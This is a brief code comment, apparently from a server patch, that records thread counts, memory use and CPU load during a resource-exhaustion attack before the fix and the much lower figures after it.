/*
BEFORE PATCH APPLIED (after ~100 seconds of attacking):
3700 threads spawned, VIRT went from 3388M to 32.1G, RES from 60000 to 129M. CPU usage ~10%. The server struggles to process commands. Recovers in several minutes after the attack is stopped
AFTER PATCH APPLIED:
10 threads spawned at most, VIRT didnt change, RES didnt change. CPU usage ~3%. Works fine. */
